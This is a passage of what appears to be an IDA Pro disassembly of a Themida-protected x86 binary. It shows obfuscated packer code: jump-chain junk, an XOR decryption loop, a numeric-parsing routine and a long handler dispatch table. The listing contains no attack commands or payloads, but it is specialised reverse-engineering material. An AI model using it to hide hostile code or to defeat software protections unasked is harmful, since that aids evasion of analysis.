and [ebp-3Dh], bl
loc_583ED0: ; CODE XREF: sub_580566+3962p
pop ebp
mov [esp+4], ebp
add dword ptr [esp+4], 17h
inc ebp
push ebp
retn
; ---------------------------------------------------------------------------
dd 9AB39DFFh, 80E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1A04h, 0C3504000h, 0A4CCB18h, 89FF8FB2h
dd 1304C185h, 72EB8106h
; ---------------------------------------------------------------------------
mov edx, esp
loc_583F16: ; CODE XREF: sub_580566+39DCj
push es
loc_583F17: ; CODE XREF: sub_580566+3959j
push dword ptr [ebp+6131CBDh]
jmp loc_583F30
; ---------------------------------------------------------------------------
dw 8D67h
dd 0FF6E19C5h, 0E7555CAEh, 37E01506h
; ---------------------------------------------------------------------------
loc_583F30: ; CODE XREF: sub_580566+39B7j
lea eax, [ebp+615A34Dh]
jb loc_583F49
jmp loc_583F49
; ---------------------------------------------------------------------------
wait
jmp short loc_583F16
; ---------------------------------------------------------------------------
mov edx, 5FF4B5A4h
loc_583F49: ; CODE XREF: sub_580566+39D0j
; sub_580566+39D6j
push eax
jmp loc_583F5B
; ---------------------------------------------------------------------------
xchg eax, ebx
mov [ebx-61999A69h], dh
inc ebx
mov byte ptr [edi], 5
popa
loc_583F5B: ; CODE XREF: sub_580566+39E4j
mov [esp-0Ch+arg_8], eax
push ebx
mov ebx, [ebp+6131549h]
pop edx
mov bx, ax
push eax
push esi
lea edi, [ebp+613573Ah]
lea ecx, [ebp+6137CB4h]
mov eax, 748323BCh
sub ecx, edi
loc_583F7E: ; CODE XREF: sub_580566+3A1Ej
xor [edi], al
ror al, 1
inc edi
dec ecx
jnz short loc_583F7E
pop esi
pop eax
cmp dword ptr [ebp+61310DDh], 0
jz short loc_583F97
mov ecx, [ebp+6133095h]
loc_583F97: ; CODE XREF: sub_580566+3A29j
xor ecx, ecx
mov eax, 0
or eax, eax
jz loc_58404E
cmp dword ptr [ebp+61307F1h], 0
jz short loc_583FB5
call dword ptr [ebp+6131339h]
loc_583FB5: ; CODE XREF: sub_580566+3A47j
mov eax, 0
or eax, eax
jnz short loc_583FC7
cmp dword ptr [ebp+6134F23h], 1
jz short loc_583FD0
loc_583FC7: ; CODE XREF: sub_580566+3A56j
cmp dword ptr [ebp+6134F23h], 2
jnz short loc_583FDE
loc_583FD0: ; CODE XREF: sub_580566+3A5Fj
mov esi, [ebp+6134F1Bh]
lea eax, [ebp+615A34Dh]
call eax
loc_583FDE: ; CODE XREF: sub_580566+3A68j
cmp dword ptr [ebp+61307E5h], 0
jz short loc_583FED
call dword ptr [ebp+6131685h]
loc_583FED: ; CODE XREF: sub_580566+3A7Fj
lea eax, [ebp+6134381h]
call eax
cmp dword ptr [ebp+6132CF1h], 2
jnz short loc_58402D
mov esp, [ebp+61308B9h]
mov eax, [ebp+61310DDh]
mov [esp-0Ch+arg_8], eax
mov dword ptr [ebp+61311CDh], 1
mov esi, [ebp+6134F1Fh]
mov ebp, [ebp+61313E5h]
mov eax, 1
retn 0Ch
; ---------------------------------------------------------------------------
jmp short $+2
loc_58402D: ; CODE XREF: sub_580566+3A96j
mov dword ptr [ebp+61311CDh], 1
mov esp, [ebp+61308B9h]
mov esi, [ebp+6133481h]
mov ebp, [ebp+61313E5h]
xor eax, eax
retn 0Ch
; ---------------------------------------------------------------------------
loc_58404E: ; CODE XREF: sub_580566+3A3Aj
cmp dword ptr [ebp+61307E5h], 0
jz short loc_584066
cmp dword ptr [ebp+6131685h], 0
jz short loc_584066
call dword ptr [ebp+6131685h]
loc_584066: ; CODE XREF: sub_580566+3AEFj
; sub_580566+3AF8j
mov esi, [ebp+6134F1Bh]
retn
; ---------------------------------------------------------------------------
mov [ebp+6133011h], edx
call near ptr loc_584081+2
scasb
add eax, 0B2F7F7A2h
pop edx
cdq
inc edi
loc_584081: ; CODE XREF: sub_580566+3B0Dp
fdiv dword ptr [ecx+ecx]
mov ebp, 6130EADh
pop ebx
sub edx, edx
pusha
mov [ebp+613247Dh], edi
pusha
or [ebp+6132ECDh], esi
mov eax, [ebp+613147Dh]
popa
popa
push ebp
mov ebp, esp
push ecx
push edi
push edx
push esi
mov edi, [ebp+8]
xor eax, eax
jmp short loc_5840B2
; ---------------------------------------------------------------------------
loc_5840B0: ; CODE XREF: sub_580566+3B4Fj
inc eax
inc edi
loc_5840B2: ; CODE XREF: sub_580566+3B48j
cmp byte ptr [edi], 0
jnz short loc_5840B0
xor ecx, ecx
mov edi, [ebp+8]
jmp short loc_5840E1
; ---------------------------------------------------------------------------
loc_5840BE: ; CODE XREF: sub_580566+3B7Dj
xor edx, edx
mov dl, [edi]
sub dl, 30h
mov esi, eax
dec esi
push eax
mov eax, edx
push ebx
mov ebx, 0Ah
jmp short loc_5840D6
; ---------------------------------------------------------------------------
loc_5840D3: ; CODE XREF: sub_580566+3B73j
mul ebx
dec esi
loc_5840D6: ; CODE XREF: sub_580566+3B6Bj
cmp esi, 0
ja short loc_5840D3
pop ebx
add ecx, eax
pop eax
inc edi
dec eax
loc_5840E1: ; CODE XREF: sub_580566+3B56j
or eax, eax
jnz short loc_5840BE
mov eax, ecx
pop esi
pop edx
pop edi
pop ecx
leave
retn 4
; ---------------------------------------------------------------------------
push 0
push ebx
call loc_5840FA
and [ebx-3Dh], bl
loc_5840FA: ; CODE XREF: sub_580566+3B8Cp
pop ebx
mov [esp-1Ch+arg_18], ebx
add [esp-1Ch+arg_18], 1Bh
inc ebx
push ebx
retn
; ---------------------------------------------------------------------------
dw 3FD4h
dd 0CB93A8CEh, 958BD3F9h, 6131719h, 0F58D8B60h, 8B061313h
dd 132BA18Dh, 6A6106h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 170424h, 51410000h, 0E4548AC3h
db 36h
; ---------------------------------------------------------------------------
loc_584145: ; CODE XREF: sub_580566:loc_581240j
mov eax, ecx
jmp loc_5A5BF1
sub_580566 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dd offset word_5FBE9E
dd offset word_5FBE9E
align 8
dd 26E0023h, 12FEF4h, 26E001Bh, 5FA34Bh, 206h, 2, 1, 0
dd 0FA44C2CAh, 5 dup(0)
dd offset loc_58B4D1
dd offset loc_58EFAC
dd offset loc_589503
dd offset loc_58947C
dd offset loc_586C1D
dd offset loc_58F758
dd offset loc_59033C
dd offset loc_58FE36
dd offset loc_584589
dd offset loc_5848B2
dd offset loc_585CC5
dd offset loc_58DD33
dd offset loc_58E67B
dd offset loc_58840F
dd offset loc_589326
dd offset loc_58500C
dd offset loc_58BBB9
dd offset loc_58AD91
dd offset loc_58BB09
dd offset loc_58956A
dd offset loc_58A2C1
dd offset loc_58F65D
dd offset loc_5900A3
dd offset loc_58492B
dd offset loc_586486
dd offset loc_58DB74
dd offset loc_585D1C
dd offset loc_5867E1
dd offset loc_58639F
dd offset loc_5877A9
dd offset loc_58A443
dd offset loc_5845D9
dd offset loc_58925A
dd offset loc_58A71D
dd offset loc_58A14F
dd offset loc_589048
dd offset loc_58BD1D
dd offset word_58A7EE
dd offset sub_584787
; ---------------------------------------------------------------------------
fimul dword ptr [edi-7B79FFA8h]
pop eax
add [eax], cl
test al, 58h
add [eax+edi*4-3F48FFA8h], dh
pop eax
add [edx], bl
retf 58h
; ---------------------------------------------------------------------------
dd offset loc_588855
dd offset loc_58BA6C
dd offset sub_5900ED
dd offset loc_587A57
dd offset loc_586678
; ---------------------------------------------------------------------------
popa
retn
; ---------------------------------------------------------------------------
dw 58h
dd offset loc_58C4A2
; ---------------------------------------------------------------------------
xor cl, bl
pop eax
add ch, ch
retf
; ---------------------------------------------------------------------------
dw 58h
dd offset loc_588A67
dd offset loc_58CC7E
dd offset loc_58864D
dd offset loc_58E7B3
dd offset loc_58A335
dd offset loc_58D0B6
dd offset loc_58CC69
dd offset loc_58B6D9
dd offset loc_584AD0
dd offset loc_58C12C
dd offset loc_5895D2
dd offset loc_58F524
dd offset loc_587D5F
dd offset loc_590241
dd offset loc_584FBD
dd offset loc_589BEF
dd offset loc_58C490
dd offset loc_58E261
dd offset loc_588B69
dd offset loc_58E1DD
dd offset loc_58B792
dd offset loc_58A7FE
dd offset loc_58E7A5
dd offset loc_58CF2F
dd offset loc_58B8CE
dd offset loc_585772
dd offset loc_58967C
dd offset loc_58641A
dd offset loc_58789E
dd offset loc_58D568
dd offset sub_5904F2
dd offset loc_58BB94
dd offset sub_5846A4
dd offset loc_58699D
dd offset loc_588B46
dd offset loc_589316
dd offset loc_58EE72
dd offset loc_58F214
dd offset loc_58D68B
dd offset loc_5848FE
dd offset loc_58712C
dd offset loc_585A2F
dd offset loc_5871BF
dd offset loc_58CC60
dd offset loc_585912
dd offset loc_58DD29
dd offset loc_58B9FE
dd offset loc_586927
dd offset loc_58DFE3
dd offset loc_58ACE7
dd offset loc_58A2B3
dd offset loc_58DA31
dd offset loc_5876D2
dd offset loc_587189
dd offset loc_589669
dd offset loc_5849B8
dd offset loc_58E4B0
dd offset loc_5847DF
dd offset loc_5862D4
dd offset loc_58A57C
dd offset loc_588F61
dd offset loc_58E6BD
dd offset word_58EC0A
dd offset loc_586B93
dd offset loc_58D0C6
dd offset loc_58EDDC
dd offset loc_584DDE
dd offset sub_58FB73
dd offset loc_588A26
dd offset loc_58CCA0
dd offset loc_58C82A
dd offset loc_584E6C
dd offset loc_587180
dd offset loc_58CFEB
dd offset loc_58E4B9
dd offset loc_58E437
dd offset loc_58F595
dd offset loc_588D32
dd offset loc_588A7E
dd offset loc_5903C5
dd offset loc_586AE0
dd offset loc_5906D5
dd offset loc_58B764
dd offset loc_58B5ED
dd offset loc_584A2C
dd offset loc_58D223
dd offset loc_58D7E7
dd offset loc_58F1DF
dd offset loc_58E9C8
dd offset loc_588266
dd offset loc_58A1AC
dd offset loc_588159
dd offset loc_588D79
dd offset loc_58E2A1
dd offset loc_58D97A
dd offset loc_5844F4
dd offset loc_58965A
dd offset loc_58A4A9
dd offset loc_58999D
dd offset loc_586DD6
dd offset loc_58E93D
dd offset loc_589946
dd offset loc_58B7B0
dd offset loc_58D34E
dd offset loc_586C9F
dd offset loc_585DBE
dd offset loc_58A04A
dd offset loc_58DBBD
dd offset loc_58794E
dd offset loc_58615C
dd offset loc_589110
dd offset loc_58B67E
dd offset loc_587B8C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5FE13E
loc_58442C: ; CODE XREF: Themida_:005A5C48j
; Themida_:005A5C52j ...
pusha
pushf
cld
call $+5
pop edi
sub edi, 613816Ah
mov eax, edi
add edi, 6137E82h
cmp eax, [edi+2Ch]
jnz short loc_58444A
jmp short loc_58445D
; ---------------------------------------------------------------------------
loc_58444A: ; CODE XREF: sub_5FE13E-79CF8j
mov [edi+2Ch], eax
mov ecx, 0A7h
jmp short loc_584459
; ---------------------------------------------------------------------------
loc_584454: ; CODE XREF: sub_5FE13E-79CE3j
add [edi+ecx*4+40h], eax
dec ecx
loc_584459: ; CODE XREF: sub_5FE13E-79CECj
or ecx, ecx
jnz short loc_584454
loc_58445D: ; CODE XREF: sub_5FE13E-79CF6j
mov esi, [esp+24h]
mov ebx, esi
add esi, eax
mov ecx, 1
loc_58446A: ; CODE XREF: sub_5FE13E-79CCDj
xor eax, eax
lock cmpxchg [edi+30h], ecx
jnz short loc_58446A
; END OF FUNCTION CHUNK FOR sub_5FE13E
; START OF FUNCTION CHUNK FOR sub_584787
loc_584473: ; CODE XREF: sub_584787+11Dj
; sub_584787+181j ...
lodsb
sub esp, 2
jmp loc_59063D
; END OF FUNCTION CHUNK FOR sub_584787
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59075E
loc_58447C: ; CODE XREF: sub_59075E+11j
add esi, 26D32018h
sub ebp, esi
pop esi
jmp loc_58E634
; END OF FUNCTION CHUNK FOR sub_59075E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_584787
loc_58448A: ; CODE XREF: sub_584787+78ABj
xor cl, dh
pop edx
push edx
mov dl, cl
mov bh, dl
pop edx
jmp loc_585EA0
; ---------------------------------------------------------------------------
loc_584498: ; CODE XREF: sub_584787+261j
add ebx, 0BEB34990h
jmp loc_5881BB
; ---------------------------------------------------------------------------
loc_5844A3: ; CODE XREF: sub_584787+42AEj
mov edx, 4
add edi, 53B45AF2h
add edi, edx
sub edi, 53B45AF2h
pop edx
push 51EDh
mov [esp+0], ebp
mov ebp, 2
add edi, 67D213F1h
add edi, ebp
sub edi, 67D213F1h
mov ebp, [esp+0]
add esp, 4
push edi
push [esp+arg_0]
jmp loc_58C32E
; ---------------------------------------------------------------------------
loc_5844E2: ; CODE XREF: sub_584787+3697j
pop ebp
sub ebp, 673400A1h
xor ebp, 0EDB55F62h
jmp loc_58F682
; END OF FUNCTION CHUNK FOR sub_584787
; ---------------------------------------------------------------------------
loc_5844F4: ; DATA XREF: Themida_:005843E4o
push 0
push dword ptr [esp]
push dword ptr [esp]
mov ebx, [esp]
jmp loc_58C7E1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_584787
loc_584507: ; CODE XREF: sub_584787+136Cj
or edx, eax
jmp loc_584C7E
; ---------------------------------------------------------------------------
loc_58450E: ; CODE XREF: sub_584787+4B36j
xor [esp+0], edi
jmp loc_589FE8
; ---------------------------------------------------------------------------
loc_584516: ; CODE XREF: sub_584787+7B59j
mov esi, 7D636929h
shr esi, 3
shl esi, 8
add esi, 47B60F60h
dec esi
and esi, 6D7D1501h
sub esi, 0FAC9ADA9h
sub eax, esi
pop esi
jmp loc_58DCDB
; ---------------------------------------------------------------------------
loc_58453C: ; CODE XREF: sub_584787+6E8Fj
shl ebp, 3
jmp loc_588D1D
; ---------------------------------------------------------------------------
loc_584544: ; CODE XREF: sub_584787+560j
pop ebx
add esp, 4
add bl, 65h
push edx
jmp loc_588C17
; ---------------------------------------------------------------------------
loc_584554: ; CODE XREF: sub_584787+5836j
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp-4+arg_0]
pop esp
and eax, edi
mov edi, [esp-8+arg_4]
add esp, 4
or eax, eax
jnz loc_5891C3
push ecx
mov ecx, esp
push esi
jmp loc_58857B
; ---------------------------------------------------------------------------
loc_584583: ; CODE XREF: sub_584787+992Aj
push esp
jmp loc_58F5D3
; END OF FUNCTION CHUNK FOR sub_584787
; ---------------------------------------------------------------------------
loc_584589: ; DATA XREF: Themida_:005841B0o
push 23ADh
mov [esp], eax
mov eax, 200h
or [edi+1Ch], eax
push dword ptr [esp]
jmp loc_584DF9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_584787
loc_5845A1: ; CODE XREF: sub_584787+88F6j
xor edx, edi
jmp loc_589A67
; ---------------------------------------------------------------------------
loc_5845A8: ; CODE XREF: sub_584787+92FFj
add ecx, 4
jmp loc_584FA8
; ---------------------------------------------------------------------------
loc_5845B0: ; CODE XREF: sub_584787+1CCBj
add edx, eax
pop eax
jmp loc_58E20F
; END OF FUNCTION CHUNK FOR sub_584787
; =============== S U B R O U T I N E =======================================
sub_5845B8 proc near ; CODE XREF: sub_584787+949Bj
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005846DD SIZE 0000001A BYTES
sub esp, 4
mov [esp+4+var_4], eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+4+var_4]
pop esp
xchg esi, [esp+0]
mov esp, [esp+0]
jmp loc_5846DD
sub_5845B8 endp
; ---------------------------------------------------------------------------
loc_5845D9: ; DATA XREF: Themida_:0058420Co
mov ax, fs:[edx]
push 18F7h
mov [esp], esi
jmp loc_586802
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_584787
loc_5845EA: ; CODE XREF: sub_584787+58Aj
xchg ebx, [esp-4+arg_0]
pop esp
mov [esp-8+arg_4], esi
push 20000h
mov esi, [esp-4+arg_0]
sub esp, 4
mov [esp+0], ecx
mov ecx, esp
add ecx, 4
push ebp
mov ebp, 4
add ecx, ebp
pop ebp
push ecx
push dword ptr [esp+4]
mov ecx, [esp+8+var_8]
add esp, 4
jmp loc_585CF0
; ---------------------------------------------------------------------------
loc_584620: ; CODE XREF: sub_584787+2E83j
pop ebp
xchg edi, [esp+0]
pop esp
push [esp-4+arg_0]
push dword ptr [esp+0]
jmp loc_585B4F
; ---------------------------------------------------------------------------
loc_584630: ; CODE XREF: sub_584787+7E46j
mov ecx, 55AA53D6h
xor [esp+4], ecx
pop ecx
pop ebx
xor ebx, 55AA53D6h
pop edi
add edx, ebx
jmp loc_5855DA
; ---------------------------------------------------------------------------
loc_584649: ; CODE XREF: sub_584787+DF6j
pop [esp-8+arg_4]
pop esp
xor [esp+0], eax
jmp loc_588D18
; ---------------------------------------------------------------------------
loc_584655: ; CODE XREF: sub_584787+A1DBj
sub edx, 1B332B08h
add edx, ecx
jmp loc_585920
; ---------------------------------------------------------------------------
loc_584662: ; CODE XREF: sub_584787+7E7Bj
mov edx, 61F345Ch
xor edx, 61F345Eh
add esi, edx
jmp loc_58909D
; ---------------------------------------------------------------------------
loc_584674: ; CODE XREF: sub_584787+4256j
pop esp
movzx ecx, al
jmp loc_58EC16
; ---------------------------------------------------------------------------
loc_58467D: ; CODE XREF: sub_584787+BB2Aj
mov edi, esp
add edi, 4
push esi
mov esi, 4
sub edi, esi
pop esi
jmp loc_58BF82
; ---------------------------------------------------------------------------
loc_584693: ; CODE XREF: sub_584787+2AEFj
push [esp-14h+arg_E+2]
push dword ptr [esp+0]
mov eax, [esp-0Ch+arg_8]
add esp, 4
jmp loc_58F6B6
; END OF FUNCTION CHUNK FOR sub_584787
; =============== S U B R O U T I N E =======================================
sub_5846A4 proc near ; DATA XREF: Themida_:005842E8o
var_4 = dword ptr -4
mov ax, [esp+0]
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp+4+var_4]
pop esp
mov [esp+0], esi
jmp loc_585023
sub_5846A4 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_584787
loc_5846C0: ; CODE XREF: sub_584787+5FFDj
shr ebx, 4
neg ebx
sub ebx, 0A513E691h
mov ecx, ebx
jmp loc_58617F
; ---------------------------------------------------------------------------
loc_5846D2: ; CODE XREF: sub_584787+3C64j
add edi, 0FFFFFFFFh
jmp loc_58746A
; END OF FUNCTION CHUNK FOR sub_584787
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5845B8
loc_5846DD: ; CODE XREF: sub_5845B8+1Cj
mov ax, [esp+0]
push 34D0h
mov [esp+4+var_4], ebx
sub esp, 4
mov [esp+8+var_8], esp
jmp loc_58A19F
; END OF FUNCTION CHUNK FOR sub_5845B8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_584787
loc_5846F7: ; CODE XREF: sub_584787+9560j
xor [esp+0], eax
xor eax, [esp+0]
pop esp
push 3236h
mov [esp+0], ecx
push ebx
mov bl, dl
push eax
push ecx
mov ch, bl
push ebx
mov bl, ch
mov al, bl
jmp loc_58DFAD
; ---------------------------------------------------------------------------
loc_584717: ; CODE XREF: sub_584787+3560j
sub eax, 2
xchg eax, [esp+0]
pop esp
jmp loc_58E0B6
; ---------------------------------------------------------------------------
loc_584725: ; CODE XREF: sub_584787+5D49j
or edi, 9F6427Fh
not edi
jmp loc_58F5F9
; END OF FUNCTION CHUNK FOR sub_584787
; =============== S U B R O U T I N E =======================================
sub_584732 proc near ; CODE XREF: sub_584787+2048j
push ebx
mov ebx, 2978045Fh
mov edx, 1D5D3692h
jmp loc_58D373
sub_584732 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_584787
loc_584742: ; CODE XREF: sub_584787+9D3Cj
sub eax, ebx
sub esp, 4
mov [esp+0], ebx
push 4113h
jmp loc_588AC6
; ---------------------------------------------------------------------------
loc_584757: ; CODE XREF: sub_584787+7814j
push edi
push ecx
jmp loc_588906
; ---------------------------------------------------------------------------
loc_58475E: ; CODE XREF: sub_584787+2A2Cj
add ch, 49h
xor al, ch
jmp loc_588878
; ---------------------------------------------------------------------------
loc_584768: ; CODE XREF: sub_584787+50B0j
pop dx
sub bl, al
sub esp, 4
mov [esp+0Eh+var_10+2], edx
mov dl, 96h
jmp loc_588FD3
; ---------------------------------------------------------------------------
loc_58477C: ; CODE XREF: sub_584787+2D2j
add esp, 4
jmp loc_58AC58
; END OF FUNCTION CHUNK FOR sub_584787
; =============== S U B R O U T I N E =======================================
sub_584787 proc near ; DATA XREF: Themida_:00584228o
var_74 = dword ptr -74h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_4E = dword ptr -4Eh
var_46 = dword ptr -46h
var_42 = dword ptr -42h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_26 = dword ptr -26h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_E = dword ptr 12h
arg_12 = dword ptr 16h
arg_18 = dword ptr 1Ch
arg_1C = dword ptr 20h
arg_20 = dword ptr 24h
arg_24 = dword ptr 28h
; FUNCTION CHUNK AT 00584473 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058448A SIZE 0000006A BYTES
; FUNCTION CHUNK AT 00584507 SIZE 00000082 BYTES
; FUNCTION CHUNK AT 005845A1 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005845EA SIZE 000000BA BYTES
; FUNCTION CHUNK AT 005846C0 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005846F7 SIZE 0000003B BYTES
; FUNCTION CHUNK AT 00584742 SIZE 00000045 BYTES
; FUNCTION CHUNK AT 0058F451 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0058F48A SIZE 0000006B BYTES
; FUNCTION CHUNK AT 0058F50A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058F52D SIZE 00000068 BYTES
; FUNCTION CHUNK AT 0058F5C1 SIZE 0000009C BYTES
; FUNCTION CHUNK AT 0058F66A SIZE 00000087 BYTES
; FUNCTION CHUNK AT 0058F6F9 SIZE 0000005F BYTES
; FUNCTION CHUNK AT 0058F771 SIZE 00000150 BYTES
; FUNCTION CHUNK AT 0058F8C7 SIZE 000000BE BYTES
; FUNCTION CHUNK AT 0058F98E SIZE 000001CD BYTES
; FUNCTION CHUNK AT 0058FB7E SIZE 000000CD BYTES
; FUNCTION CHUNK AT 0058FC6A SIZE 000001CC BYTES
; FUNCTION CHUNK AT 0058FE3B SIZE 00000128 BYTES
; FUNCTION CHUNK AT 0058FF7F SIZE 0000009F BYTES
; FUNCTION CHUNK AT 00590047 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0059008E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005900AB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005900C9 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005900F6 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00590125 SIZE 0000004B BYTES
; FUNCTION CHUNK AT 005901B3 SIZE 0000004A BYTES
; FUNCTION CHUNK AT 00590249 SIZE 000000F3 BYTES
; FUNCTION CHUNK AT 00590378 SIZE 0000004D BYTES
; FUNCTION CHUNK AT 005903CB SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005903FC SIZE 000000F6 BYTES
; FUNCTION CHUNK AT 005904F8 SIZE 000001DD BYTES
; FUNCTION CHUNK AT 005906DD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059070D SIZE 00000051 BYTES
sub esp, 4
mov [esp+0Eh+var_10+2], esp
add [esp+0Eh+var_10+2], 4
push [esp+0Eh+var_10+2]
push [esp+12h+var_14+2]
jmp loc_589DB5
; ---------------------------------------------------------------------------
loc_58479C: ; CODE XREF: sub_584787+5C48j
add esp, 4
add edx, 4
push 7FA5h
mov [esp+16h+var_18+2], ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp+16h+var_18+2]
mov esp, [esp+16h+var_18+2]
mov [esp+16h+var_18+2], eax
mov eax, 4
sub edx, eax
pop eax
xor edx, [esp+12h+var_14+2]
jmp loc_58917D
; ---------------------------------------------------------------------------
loc_5847D1: ; CODE XREF: sub_584787+76DAj
xor ebx, eax
jmp loc_586917
; ---------------------------------------------------------------------------
loc_5847D8: ; CODE XREF: sub_584787+B408j
or esi, edi
jmp loc_585EEE
; ---------------------------------------------------------------------------
loc_5847DF: ; DATA XREF: Themida_:0058434Co
push dword ptr [edi+1Ch]
popf
pop cx
rcl byte ptr [esp+10h+var_10], cl
pushf
jmp loc_58D43D
; ---------------------------------------------------------------------------
loc_5847EE: ; CODE XREF: sub_584787+3611j
add esp, 4
add eax, 320B1ABDh
sub eax, 1BDE30CDh
sub eax, ebx
add eax, 1BDE30CDh
push edx
mov edx, 320B1ABDh
sub eax, edx
pop edx
push 5749h
mov [esp+14h+var_14], edx
jmp loc_587A8E
; ---------------------------------------------------------------------------
loc_584818: ; CODE XREF: sub_584787+9B3Dj
mov esp, [esp+14h+var_14]
jmp loc_58E3DA
; ---------------------------------------------------------------------------
loc_584820: ; CODE XREF: sub_584787+1053j
mov ebp, 4
jmp loc_584AE2
; ---------------------------------------------------------------------------
loc_58482A: ; CODE XREF: sub_584787+81A4j
sub bx, 3BA2h
sub bx, ax
jmp loc_58F339
; ---------------------------------------------------------------------------
loc_584837: ; CODE XREF: sub_584787+5D41j
mov edx, 4
jmp loc_58DF4D
; ---------------------------------------------------------------------------
loc_584841: ; CODE XREF: sub_584787+B0A1j
pop ecx
shl ebp, 6
push esi
jmp loc_589411
; ---------------------------------------------------------------------------
loc_58484B: ; CODE XREF: sub_584787+1E2Bj
push ebx
mov bh, dl
not bh
mov dl, bh
jmp loc_5861D8
; ---------------------------------------------------------------------------
loc_584857: ; CODE XREF: sub_584787+3C06j
push bx
mov bl, 1Dh
add cl, bl
pop bx
jmp loc_585AF8
; ---------------------------------------------------------------------------
loc_584864: ; CODE XREF: sub_584787+9922j
add esi, 71A842CAh
pop ecx
push esi
push [esp+18h+var_14]
jmp loc_58CE41
; ---------------------------------------------------------------------------
loc_584875: ; CODE XREF: sub_584787+688Dj
add ebx, esi
jmp loc_58B0A4
; ---------------------------------------------------------------------------
loc_58487C: ; CODE XREF: sub_584787+7E63j
sub esp, 4
mov [esp+20h+var_20], esp
add [esp+20h+var_20], 4
jmp loc_58E52E
; ---------------------------------------------------------------------------
loc_58488E: ; CODE XREF: sub_584787+19A1j
xchg esi, ebx
push esi
push ecx
pop esi
pop ecx
jmp loc_58F3E2
; ---------------------------------------------------------------------------
loc_584899: ; CODE XREF: sub_584787+5C1j
pop ecx
pop [esp+1Ch+var_1C]
mov esp, [esp+18h+var_18]
sub byte ptr [esp+18h+var_18], al
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_5848A9: ; CODE XREF: sub_584787+1A31j
pop esp
pop dword ptr [edi+20h]
jmp loc_58D4CA
; ---------------------------------------------------------------------------
loc_5848B2: ; DATA XREF: Themida_:005841B4o
push [esp+14h+var_14]
mov eax, [esp+18h+var_18]
jmp loc_5853E2
; ---------------------------------------------------------------------------
loc_5848BD: ; CODE XREF: sub_584787+D6Dj
push [esp+18h+var_18]
pop edi
add esp, 4
xor edx, 702565D8h
push edi
mov edi, 42F96CD3h
xor edi, 795040CFh
sub edi, 0D829D48Ch
add eax, edi
pop edi
sub eax, edx
jmp loc_58DEBE
; ---------------------------------------------------------------------------
loc_5848E9: ; CODE XREF: sub_584787+9C2Bj
xor eax, 0AD18A96Ah
mov ecx, eax
pop eax
xor edx, ecx
jmp loc_586E43
; ---------------------------------------------------------------------------
loc_5848F8: ; CODE XREF: sub_584787+7A1Ej
pop ebx
jmp loc_58CC86
; ---------------------------------------------------------------------------
loc_5848FE: ; DATA XREF: Themida_:00584304o
push dword ptr [edi+1Ch]
popf
pop cx
rcl [esp+0Ah+var_C+2], cl
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58490D: ; CODE XREF: sub_584787+7B0j
mov esi, esp
jmp loc_58C7F8
; ---------------------------------------------------------------------------
loc_584914: ; CODE XREF: sub_584787+B2DFj
push 38ECh
mov [esp+12h+var_14+2], ebx
mov eax, [esp+12h+var_14+2]
push ebx
jmp loc_58C79C
; ---------------------------------------------------------------------------
loc_584925: ; CODE XREF: sub_584787+8C00j
inc edx
jmp loc_585BCB
; ---------------------------------------------------------------------------
loc_58492B: ; DATA XREF: Themida_:005841ECo
mov ax, word ptr [esp+16h+var_18+2]
push ebx
jmp loc_590125
; ---------------------------------------------------------------------------
loc_584935: ; CODE XREF: sub_584787+832Cj
not ah
and ah, 61h
jmp loc_58747E
; ---------------------------------------------------------------------------
loc_58493F: ; CODE XREF: sub_584787+1423j
xor ebp, [esp+1Ah+var_1C+2]
mov esp, [esp+1Ah+var_1C+2]
mov [esp+1Ah+var_1C+2], esi
push esp
pop esi
push ebx
mov ebx, 47217996h
neg ebx
and ebx, 791665BFh
jmp loc_58D938
; ---------------------------------------------------------------------------
loc_58495D: ; CODE XREF: sub_584787+3D44j
mov [esp+1Eh+var_20+2], eax
mov eax, esp
add eax, 4
add eax, 4
jmp loc_58DB5D
; ---------------------------------------------------------------------------
loc_58496F: ; CODE XREF: sub_584787+9502j
jmp loc_584473
; ---------------------------------------------------------------------------
loc_584974: ; CODE XREF: sub_584787+5146j
jmp loc_584473
; ---------------------------------------------------------------------------
